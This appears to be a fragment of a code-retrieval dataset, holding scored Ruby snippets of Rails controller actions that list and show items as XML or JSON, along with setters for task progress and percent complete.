"text": "def index\n \t@page = params[:page].to_i || 0\n @item_vote = Vote.new\n \tif params[:user_id].blank?\n \t\t@items = Item.page(params[:page]).order('score desc').includes(:user, :comments)\n\t\t\t@title = \"Page #{@page}\" if @page > 1\n\t\telse\n\t\t\t@user = User.find_by_name(params[:user_id])\n\t\t\t@items = Item.page(params[:page]).where(:user_id => @user.id).order('created_at desc').includes(:user)\n\t\t\tif @page > 1\n\t\t\t\t@title = \"#{@user.name}'s Submissions | Page #{@page}\" if @page > 1\n\t\t\telse\n\t\t\t\t@title = \"#{@user.name}'s Submissions\"\n\t\t\tend\n\t\tend\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"title": ""
}
] |
[
{
"docid": "d57502db186679bf451e04276f7c18d6",
"score": "0.77949274",
"text": "def items\n get_request configure_payload('/items')\n end",
"title": ""
},
{
"docid": "5cf88c246c59a555b593493e4faf248b",
"score": "0.7594115",
"text": "def show\n @item = Item.get!(params[:id])\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"title": ""
},
{
"docid": "8debc039debc1203eec9d47dfc2c2e97",
"score": "0.7449405",
"text": "def index\n @items = Item.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"title": ""
},
{
"docid": "ca51b9c37166f2a86f03c0e083d92d68",
"score": "0.7425359",
"text": "def xml_items\n full_response[\"Item\"]\n end",
"title": ""
},
{
"docid": "db39fb5f365247dc3e305bf0186db77b",
"score": "0.73796076",
"text": "def index\n @items = Item.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"title": ""
},
{
"docid": "0ad90a00d261f4648156fd3f2f5415f0",
"score": "0.7292051",
"text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"title": ""
},
{
"docid": "0ad90a00d261f4648156fd3f2f5415f0",
"score": "0.7292051",
"text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"title": ""
},
{
"docid": "05d97485bfd52a6e317fae2e081f0e1d",
"score": "0.7270083",
"text": "def show\n @items = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @Item }\n end\n end",
"title": ""
},
{
"docid": "1bdc73591139bfa9dc29657ba03091b2",
"score": "0.7192892",
"text": "def index\n\t\t@items = Item.paginate(:page => params[:page], :per_page => 10)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @items }\n\t\t\tformat.xml { render xml: @items }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d628dd135b3f9c2f34c509b27cc05123",
"score": "0.71726346",
"text": "def query_items(options={}) path = \"/api/v2/items\"\n get(path, options, AvaTax::VERSION) end",
"title": ""
},
{
"docid": "b637e6b4fd81915beedc714e8d77e852",
"score": "0.7160961",
"text": "def item(item, options={})\n params = { :klass => Invoicexpress::Models::Item }\n\n get(\"items/#{id_from_item(item)}.xml\", params.merge(options))\n end",
"title": ""
},
{
"docid": "2f46eb23f11918c0915826435fbd96d2",
"score": "0.7095964",
"text": "def query_items(options={})\n path = \"/api/v2/items\"\n get(path, options)\n end",
"title": ""
},
{
"docid": "749425f082ebfc5ff4b7f403414bc239",
"score": "0.7087357",
"text": "def index\n @items = Item.find(:all, :order => \"created_at desc\",\n :page => {:size => 30})\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"title": ""
},
{
"docid": "e23f50ea6cf78c4df30f185b642dbcbb",
"score": "0.70615655",
"text": "def get_items\n call \"get_items\"\n end",
"title": ""
},
{
"docid": "4cd75a874f56d066e5fd6b61ffc4ef58",
"score": "0.69961876",
"text": "def get_items(uri, username, password)\n response = open(uri, :http_basic_authentication => [username, password])\n xml = response.read\n document = REXML::Document.new(xml)\n\n # Extract each item ID.\n items = []\n REXML::XPath.each(document, '/items/item/id/[]') do |id|\n items += [id]\n end\n \n return items\nend",
"title": ""
},
{
"docid": "2f2c4b7f3ce1843b9c28fc14f6927a45",
"score": "0.69428736",
"text": "def index\n get_items\n end",
"title": ""
},
{
"docid": "103b9c64cf9d8a79915d84f95238bc3b",
"score": "0.69254035",
"text": "def feed\n @items = Item.find(:all).reject { |item| item.name.nil? }\n render 'items/feed', :layout => false, :content_type => 'application/xml'\n end",
"title": ""
},
{
"docid": "41699dd17c12d7e8d1afd1406f087302",
"score": "0.6919532",
"text": "def item(id)\n get(\"/item/#{id}.json\")\n end",
"title": ""
},
{
"docid": "e9f5aee37cfb803b5383d65841ca38dd",
"score": "0.68645704",
"text": "def apiindex\n #TODO authentication\n tree = Item.tree\n xml = XmlSimple.xml_out({'items'=>tree}, \n \"RootName\"=>'itemtree', \n 'NoAttr'=>true, \n 'SuppressEmpty'=>nil)\n xmlresponse(xml)\n end",
"title": ""
},
{
"docid": "8826916c21aeb00c2a8fb8122d6ddc51",
"score": "0.68479276",
"text": "def index\n @items = Item.where([\"user_id= ?\", current_user.id.to_s])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"title": ""
},
{
"docid": "c797d25970ba00f4daf7f8ba85345e01",
"score": "0.6792525",
"text": "def index\n @items = @project.items\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"title": ""
},
{
"docid": "c1e4071c2afc6d9f576be00499036ca2",
"score": "0.6790317",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "d1ba7096ade469b56cbc6b9ee5326aac",
"score": "0.67822164",
"text": "def show\n\t\t@item = Item.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml\t{ render :xml => @item }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "c7246388a354b11c6d6c5076126b9e9c",
"score": "0.67663807",
"text": "def show\n @item_list = ItemList.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item_list }\n end\n end",
"title": ""
},
{
"docid": "39bf78b9e37adc2038d064abf3fbfa73",
"score": "0.6766293",
"text": "def index\n @static_items = StaticItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @static_items }\n end\n end",
"title": ""
},
{
"docid": "2d3447649bfcebdd975c3f76f754c7df",
"score": "0.67524946",
"text": "def index\n @items = load_items(params)\n\n respond_to do |format|\n format.html { render stream: true }\n format.json { render json: @items }\n end\n end",
"title": ""
},
{
"docid": "65232316e418a651fadc20aba238d5f4",
"score": "0.6746587",
"text": "def index\n @food_items = @food.food_items.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @food_items }\n end\n end",
"title": ""
},
{
"docid": "66ec6e6f878bd6724eb652a3f9a16dcb",
"score": "0.6729524",
"text": "def show\n @item = Item.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "72b000b37dd1281dd1cb38e5f173f214",
"score": "0.6727081",
"text": "def show\n\t\t@item = Item.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @item }\n\t\t\tformat.xml { render xml: @item }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "522595cf204639cd1680514b47069f98",
"score": "0.672687",
"text": "def index\n @items = Item.all\n\n respond_with @items\n end",
"title": ""
},
{
"docid": "1fd31959c6e88533daab36bd014eb80b",
"score": "0.67268246",
"text": "def items\n resources\n end",
"title": ""
},
{
"docid": "5f15f9fb1258c5a184d33c083232fba0",
"score": "0.6722376",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "5f15f9fb1258c5a184d33c083232fba0",
"score": "0.6722376",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "5f15f9fb1258c5a184d33c083232fba0",
"score": "0.6722376",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "5f15f9fb1258c5a184d33c083232fba0",
"score": "0.6722376",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "5f15f9fb1258c5a184d33c083232fba0",
"score": "0.6722376",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "5f15f9fb1258c5a184d33c083232fba0",
"score": "0.6722376",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "5f15f9fb1258c5a184d33c083232fba0",
"score": "0.6722376",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "5f15f9fb1258c5a184d33c083232fba0",
"score": "0.6722376",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "5f15f9fb1258c5a184d33c083232fba0",
"score": "0.6722376",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "5f15f9fb1258c5a184d33c083232fba0",
"score": "0.6722376",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "5f15f9fb1258c5a184d33c083232fba0",
"score": "0.6722376",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "5f15f9fb1258c5a184d33c083232fba0",
"score": "0.6722376",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "5f15f9fb1258c5a184d33c083232fba0",
"score": "0.6722376",
"text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "69cc5a018d877e18a041c0718ef3d55b",
"score": "0.6709954",
"text": "def index\n respond_to do |format|\n format.html do\n get_items\n end\n format.xml do\n @ids_only = params[:id_list].to_s=='true'\n get_items\n end\n format.rss do\n get_items(10)\n render :layout => false\n end\n end\n end",
"title": ""
},
{
"docid": "93146792cde191c3418509e27ac0b10b",
"score": "0.6687693",
"text": "def show\n @items_ordered = ItemsOrdered.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @items_ordered }\n end\n end",
"title": ""
},
{
"docid": "6b077e420c7752f617d70603ab04934f",
"score": "0.664995",
"text": "def index\n @rss_items = RssItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @rss_items }\n end\n end",
"title": ""
},
{
"docid": "f1082b9d415682dd50c0a3cf4f8b12f4",
"score": "0.6647744",
"text": "def item(id)\r\n get(\"item/#{id}\")\r\n end",
"title": ""
},
{
"docid": "6447836e3413e079257e302c0269f97f",
"score": "0.6638298",
"text": "def xml_with_items\r\n\t\t\t# first try to load our bib record, that might give us items.\r\n\t\t\tunless (@xml_with_items)\r\n\t\t\t\tload_from_store\r\n\t\t\tend\r\n\t\t\t# If we still don't have it, have to load the item xml\r\n\t\t\tunless (@xml_with_items)\r\n\t\t\t\t# Got to make another request\r\n\t\t\t\t# give us up to 1000 item records!\r\n\t\t\t\tbibWithItemsRequestPath = self.hip_http_xml_path + \"&view=items&ipp=1000\"\r\n \r\n \r\n\t\t\t\tresp = Hip3::HTTPSession.safe_get(httpSession, bibWithItemsRequestPath)\r\n\t\t\t\t@xml_with_items = Hpricot.XML( resp.body )\r\n\t\t\tend\r\n\t\t\r\n\t\t\treturn @xml_with_items\r\n\t\tend",
"title": ""
},
{
"docid": "8a2ff47840c9ecc5f671877bc50a1887",
"score": "0.6633651",
"text": "def show\r\n @item = Item.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @item }\r\n end\r\n end",
"title": ""
},
{
"docid": "6b7236ef2c281c44c56c622090a895bc",
"score": "0.6627319",
"text": "def index\n @front_page = true\n @items_count = Item.count\n @items = Item.find(:all, { :order => 'items.created_at DESC', :include => :user }.merge(@pagination_options))\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n format.rss { render :layout => false }\n end\n end",
"title": ""
},
{
"docid": "cc16d1f9d3624a583053dc73115a5432",
"score": "0.66119677",
"text": "def show\n @item = @current_user.items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "5ede2cea1287a945d66a8c422ba7b9aa",
"score": "0.661067",
"text": "def show\n allow :get, :delete, :put; vary_on :accept\n expires_in 60.seconds\n\n item = find_item(params[:id])\n item.links = links_for_item(item)\n\n respond_to do |format|\n format.g5kitemjson { render :json => item }\n format.json { render :json => item }\n end\n end",
"title": ""
},
{
"docid": "853880e457c58a83c65157f0bf061b88",
"score": "0.66101396",
"text": "def show\n @item_api = ItemApi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item_api }\n end\n end",
"title": ""
},
{
"docid": "0bb85b64dfc97b3cea6128223e931aef",
"score": "0.6605324",
"text": "def show\n marshall_browse\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "4d358c7f210001eccf277d3106ebd6c4",
"score": "0.6603157",
"text": "def items\n @ws.get_list_items(@guid)\n end",
"title": ""
},
{
"docid": "a6e4373588a253c4eccc2f2bb23b0188",
"score": "0.65995187",
"text": "def items \n @member = Member.find(params[:id])\n @items = @member.get_items\n end",
"title": ""
},
{
"docid": "d46578f8117e456c482588c15f1e78f7",
"score": "0.65631175",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "edc014f6f223f18d21f7b70be9c7bdd9",
"score": "0.6557954",
"text": "def items\n query.find('//ns:item', :ns => self.class.registered_ns).map do |i|\n Item.new i\n end\n end",
"title": ""
},
{
"docid": "ee78232a09f632dd82457e144cc1fe44",
"score": "0.65393895",
"text": "def get_items\n # Make initial call to determine number( num ) of pages\n response_hash = freshbooks_call(item_list_message(1))\n num = response_hash[\"response\"][\"items\"][\"pages\"].to_i\n items = []\n # Make a call for each page and add results to items array.\n (1..num).each do |page|\n response_hash = freshbooks_call(item_list_message(page))\n items += response_hash[\"response\"][\"items\"][\"item\"]\n end\n # Delete items that are not slated for web sales.\n items.delete_if {|item| item[\"tax2_id\"].nil? }\n # Strip unused attributes 'updated' and 'folder' from items.\n items.map { |item| item.except *[\"updated\", \"folder\"] }\n end",
"title": ""
},
{
"docid": "167d2be70e580e954b8d289fd1b0531b",
"score": "0.6534929",
"text": "def items\n return [] if total_items == 0 # don't bother parsing if no items\n @items ||= (xml_items.is_a?(Array) ? xml_items : [xml_items]).collect { |i| Item.new(i) } # because we don't ForceArray when parsing XML response if only one item is returned it will not be an array, so we make it into one.\n end",
"title": ""
},
{
"docid": "b4cf1057b4a3d199d98bc26631b8bb04",
"score": "0.653476",
"text": "def index\n respond_with(items)\n end",
"title": ""
},
{
"docid": "99911275788058ec2f0e1fc8c7918dc9",
"score": "0.652605",
"text": "def index\n @items = Item.page\n end",
"title": ""
},
{
"docid": "60119269aef1c78d3e2efdfd7c089900",
"score": "0.6508517",
"text": "def index\n @owned_items = current_user.owned_items\n @current_items = current_user.current_items\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"title": ""
},
{
"docid": "d8273999cf9757d03a77ac348ed3835a",
"score": "0.6507911",
"text": "def do_GET(req, res)\n domain, resource, id, format = parse_request_path(req.path_info)\n if domain && resource && id && format == 'xml' # element or query\n unless id == 'query'\n attributes = sdb_get_item(domain, \"#{resource}_#{id}\")\n raise WEBrick::HTTPStatus::NotFound unless attributes\n res.body = to_xml(resource, attributes)\n else\n logger.debug \"Query string: #{req.query.inspect}\"\n items = sdb_get_items(domain, resource, req.query.keys.first).collect {|item| sdb_get_item(domain, item) }\n res.body = to_xml_array(resource, items)\n end\n\n elsif domain && resource && format == 'xml' # collection\n logger.debug \"Additonal query params: #{req.query.inspect}\"\n items = sdb_get_items(domain, resource, req.query).collect {|item| sdb_get_item(domain, item) }\n res.body = to_xml_array(resource, items)\n\n else # unsupported format\n raise WEBrick::HTTPStatus::UnsupportedMediaType, \"Only XML formatted requests are supported.\"\n end\n logger.debug \"Fetched requested item(s), responding with:\\n#{res.body}\"\n res['Content-Type'] = \"application/xml\"\n raise WEBrick::HTTPStatus::OK\n end",
"title": ""
},
{
"docid": "cdd4c8cdcb5d85bdf9b6371547694c85",
"score": "0.6503127",
"text": "def list_items(params = nil, headers = nil)\n get(\"/api/v2/items\", params, headers)\n end",
"title": ""
},
{
"docid": "175b6e9e560a9f5e14f7360d37ed8b4c",
"score": "0.64973694",
"text": "def index\n @feed_items = FeedItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feed_items }\n end\n end",
"title": ""
},
{
"docid": "833fbb3691dc5320bf88bcfbeea82fb0",
"score": "0.6493672",
"text": "def index\n respond_with Item.all\n end",
"title": ""
},
{
"docid": "669de7faf2bb453911ebc1d4cb1090b5",
"score": "0.64852536",
"text": "def index\n @items = Item.find_all_by_user_id(params[:user_id])\n @amazon_item = Item.get_amazon_item(params[:item][:asin]) if params[:item]\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"title": ""
},
{
"docid": "f576fd7e2180ebbcb2d149e2ebbb2954",
"score": "0.647416",
"text": "def item(id)\n connection.get(\"/items/#{id}\").body\n end",
"title": ""
},
{
"docid": "67f554854bf96ea6bc955cf0bc7ca29c",
"score": "0.6467856",
"text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @items }\n end\n end",
"title": ""
},
{
"docid": "8fb69a0b8bed77558f53d06f9fb75bee",
"score": "0.6460001",
"text": "def index\n @api_items = Api::Item.all\n end",
"title": ""
},
{
"docid": "f697ff40caa83b8a7522e51ff10cce95",
"score": "0.64528245",
"text": "def index\n @catalog_items = CatalogItem.all(:order => 'name')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @catalog_items }\n end\n end",
"title": ""
},
{
"docid": "224cba53851de4f6b8256189172fd585",
"score": "0.64423424",
"text": "def list_items\r\n prepare_element\r\n get(:type => :list_item, :scope => :children, :how_many => :all)\r\n end",
"title": ""
},
{
"docid": "339d4a59bd552cbebac7f4f729655f4f",
"score": "0.6440393",
"text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"title": ""
},
{
"docid": "339d4a59bd552cbebac7f4f729655f4f",
"score": "0.6440393",
"text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"title": ""
},
{
"docid": "339d4a59bd552cbebac7f4f729655f4f",
"score": "0.6440393",
"text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"title": ""
},
{
"docid": "339d4a59bd552cbebac7f4f729655f4f",
"score": "0.6440393",
"text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"title": ""
},
{
"docid": "339d4a59bd552cbebac7f4f729655f4f",
"score": "0.6440393",
"text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"title": ""
},
{
"docid": "339d4a59bd552cbebac7f4f729655f4f",
"score": "0.6440393",
"text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"title": ""
},
{
"docid": "339d4a59bd552cbebac7f4f729655f4f",
"score": "0.6440393",
"text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"title": ""
},
{
"docid": "339d4a59bd552cbebac7f4f729655f4f",
"score": "0.6440393",
"text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"title": ""
},
{
"docid": "6b8e43c372ecaae558d6c062827b34a2",
"score": "0.6436214",
"text": "def index\n @items = []\n \n # Random pages\n @items.push SitemapElement.new('/', DateTime.now)\n @items.push SitemapElement.new('/sitemap', DateTime.now);\n \n for feed in Feed.find(:all, :select => \"id, created_at\")\n @items.push SitemapElement.new(url_for(feed), feed.created_at)\n end\n \n for feed_item in FeedItem.find(:all, :select => \"id, created_at, title\", :limit => 3000, :order => 'created_at desc')\n @items.push SitemapElement.new(url_for(feed_item), feed_item.created_at)\n end\n\n response.content_type = \"text/xml\"\n end",
"title": ""
},
{
"docid": "560c4655e41c14fb7933668c11585082",
"score": "0.6433657",
"text": "def list_items(params = nil, headers = nil)\n get(\"/api/v1/items\", params, headers)\n end",
"title": ""
},
{
"docid": "9f6305549dff6f014297edb405402279",
"score": "0.6423541",
"text": "def index\n @items = @items.all\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"title": ""
},
{
"docid": "6ac410fcf3a32d5350a67d9aae61097d",
"score": "0.64172494",
"text": "def index\n @item_values = ItemValue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @item_values }\n end\n end",
"title": ""
},
{
"docid": "28c2ce19ba7f786f89e84ccbdb12290e",
"score": "0.64141786",
"text": "def index\n @items = Item.order('created_at desc').page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"title": ""
},
{
"docid": "2c82d8ffdd1c1f19c39676161a076283",
"score": "0.64057684",
"text": "def index\n @items = Item.paginate(:page => params[:page])\n respond_to do |format|\n format.json { render json: @items, status: 200}\n end\n end",
"title": ""
},
{
"docid": "005225439f5ef107aba338963dfc8a47",
"score": "0.6404909",
"text": "def get_items\n render json: { items: @list.items }\n end",
"title": ""
},
{
"docid": "8aaf0d7da247ce27de28fe390d248791",
"score": "0.6403965",
"text": "def index\n @items = Item.all(:name) \n render :json => @items #Using Item serializer by default\n end",
"title": ""
},
{
"docid": "5f5efc37b584c4f08fb502fe337c3e1f",
"score": "0.63997746",
"text": "def get\n # TODO: Implement single item retrieve\n end",
"title": ""
},
{
"docid": "d1e7fcee91d174cb85efaa749d6773c0",
"score": "0.6394439",
"text": "def index\n @broken_items = BrokenItem.scopied.page(params[:page]).per(25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @broken_items }\n end\n end",
"title": ""
},
{
"docid": "8834a2209bcf874e4b40bc6f03e94db5",
"score": "0.6388977",
"text": "def index\n @transaction_goods_items = Transaction::Goods::Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transaction_goods_items }\n end\n end",
"title": ""
},
{
"docid": "c1e1eac1248634ef9ac62fa385a81176",
"score": "0.63860404",
"text": "def index\n @todo_items = TodoItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @todo_items }\n end\n end",
"title": ""
},
{
"docid": "5267eaa613055e4512c32fc3d20d4778",
"score": "0.63748425",
"text": "def show\n @request_item = RequestItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @request_item }\n end\n end",
"title": ""
},
{
"docid": "d86b428b56ec0ce9192f68e8f0629d6b",
"score": "0.6373987",
"text": "def show\n @items_list = ItemsList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @items_list }\n end\n end",
"title": ""
},
{
"docid": "87c6d0e2c988f332a16f79905a90482d",
"score": "0.63717467",
"text": "def show\n allow :get, :delete, :put; vary_on :accept\n expires_in 60.seconds\n\n item = find_item(params[:id])\n item.links = links_for_item(item)\n\n render_result(item)\n end",
"title": ""
},
{
"docid": "d247322f941b57986fa6cbe30f092279",
"score": "0.6369419",
"text": "def items_list (item_id, params={})\r\n url = api_url \"/items/list\"\r\n req = request_params({id: item_id, currency: @currency, locale: @locale}.merge(params))\r\n \r\n feed_or_retry do\r\n RestClient.get url, req\r\n end \r\n end",
"title": ""
},
{
"docid": "63fc8933f5a55518f7533ffa196d3c05",
"score": "0.635969",
"text": "def items \n Item.all\nend",
"title": ""
},
{
"docid": "57786106d5e2e4e935fdc895b2236421",
"score": "0.63511485",
"text": "def index\n @item = Item.find(params[:item_id])\n @item_properties = @item.item_properties\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @item_properties }\n format.xml { render xml: @item_properties }\n end\n end",
"title": ""
},
{
"docid": "446b89e71714a6e4969e3a02008db2ab",
"score": "0.6348584",
"text": "def items\n response = Todoable.http.get(@src)\n raise Error, response.body unless response.status == Client::HTTP_OK\n\n @name = response.body['name']\n response.body['items'].map do |params|\n Item.from_params params\n end\n end",
"title": ""
}
] |
e2bdc1d11ef2c6dbde8230a7dd42c133
|
Set the value of the ProgressPercentComplete input for this Choreo.
|
[
{
"docid": "4ac830cd2968d2a5733b46c42ffec871",
"score": "0.7403999",
"text": "def set_ProgressPercentComplete(value)\n set_input(\"ProgressPercentComplete\", value)\n end",
"title": ""
}
] |
[
{
"docid": "c4f96c9b20ac19b766c2c6b7115b0825",
"score": "0.72382534",
"text": "def percent_complete=(value)\n @percent_complete = value\n end",
"title": ""
},
{
"docid": "c4f96c9b20ac19b766c2c6b7115b0825",
"score": "0.72382534",
"text": "def percent_complete=(value)\n @percent_complete = value\n end",
"title": ""
},
{
"docid": "d1824bec58950ecfc6fd643382fc6363",
"score": "0.71346074",
"text": "def percentage_complete=(value)\n @percentage_complete = value\n end",
"title": ""
},
{
"docid": "4daf5d77e0d3bff15d6edcd65c604c57",
"score": "0.6702964",
"text": "def progress=(new_progress)\n @progress = new_progress\n if @progress == 100 then\n self.complete!\n else\n if @status == Done then\n @expire_at = nil\n end\n @status = Active\n end\n end",
"title": ""
},
{
"docid": "d93649b3d61d86c21a42212f3f95ce52",
"score": "0.6654592",
"text": "def percent_progress=(value)\n @percent_progress = value\n end",
"title": ""
},
{
"docid": "4dda237907b22777d912cf78ab2aa188",
"score": "0.6643698",
"text": "def set_percent_complete(pct)\n if(!(0..100).include?(pct))\n raise \"Invalid :percent_complete #{topts[:percent_complete]}\"\n end\n raise \"There is already a pending percent complete change\" if @update_keys[:@percent_complete]\n\n upd = { :id => @id, :command => 'Update',\n :percent_complete => pct,\n }\n @pending_updates << upd\n @update_keys[:@percent_complete] = 'ows_PercentComplete'\n pct\n end",
"title": ""
},
{
"docid": "de691ec7b487fa084cfba341b63524fb",
"score": "0.6532415",
"text": "def completion_percentage=(value)\n @completion_percentage = value\n end",
"title": ""
},
{
"docid": "495b00f10418094c0f4e40dad49b4209",
"score": "0.6520705",
"text": "def set_percent_complete!(pct)\n set_percent_complete pct\n save!\n end",
"title": ""
},
{
"docid": "5e62e6b78ba839017b3cfa99856bb311",
"score": "0.6447024",
"text": "def progress=(value)\n @progress = value\n end",
"title": ""
},
{
"docid": "50930b16a33f4c92cb466e11b7d03d61",
"score": "0.63764673",
"text": "def progress=(value)\n @progress = value\n end",
"title": ""
},
{
"docid": "aa21825fa6056b0beae775398b830bd1",
"score": "0.5703208",
"text": "def percent_complete\n\t\t# If goal reached, set percent to 100\n\t\tdays_complete < self.goal ? days_complete*100/self.goal : 100\n\tend",
"title": ""
},
{
"docid": "1d9e4bc5c23e4ed78a802c2a2657a674",
"score": "0.564993",
"text": "def setProgress(*val)\n $exec.setProgress(*val)\n end",
"title": ""
},
{
"docid": "8666d9f28c89a4ca3d90a540c514edf5",
"score": "0.56291294",
"text": "def pct_complete\n if completed?\n 100\n elsif queued?\n 0\n elsif failed?\n 0\n else\n t = if total.nil?\n 1\n else total\n end\n (((num || 0).to_f / t.to_f) * 100).to_i\n end\n end",
"title": ""
},
{
"docid": "aab1c3f0490cfc78a7f22f41944296ef",
"score": "0.5519332",
"text": "def set_progress(user_id, name, opts = {})\n set_progress_with_http_info(user_id, name, opts)\n return nil\n end",
"title": ""
},
{
"docid": "2b5bfc9f82fcd659d7b2fc3dc3cae0b6",
"score": "0.551927",
"text": "def percent_complete\n self.completeness_score.to_f / self.class.max_completeness_score.to_f * 100\n end",
"title": ""
},
{
"docid": "b015b03012af65456119358557a018c4",
"score": "0.5513221",
"text": "def percent=(value)\n @percent = value\n end",
"title": ""
},
{
"docid": "4457321acf66be3eebbc5571e69a1b8d",
"score": "0.54905117",
"text": "def completed=(value)\n\t\t@completed = value\n\tend",
"title": ""
},
{
"docid": "f40bf1e6008bc5bc37ac49279081b070",
"score": "0.5478651",
"text": "def completed_percent\n (@received_bytes * 100 / @total_bytes).to_i rescue 0\n end",
"title": ""
},
{
"docid": "9d961c51aa0e4c5460e67b76578d9d61",
"score": "0.54764915",
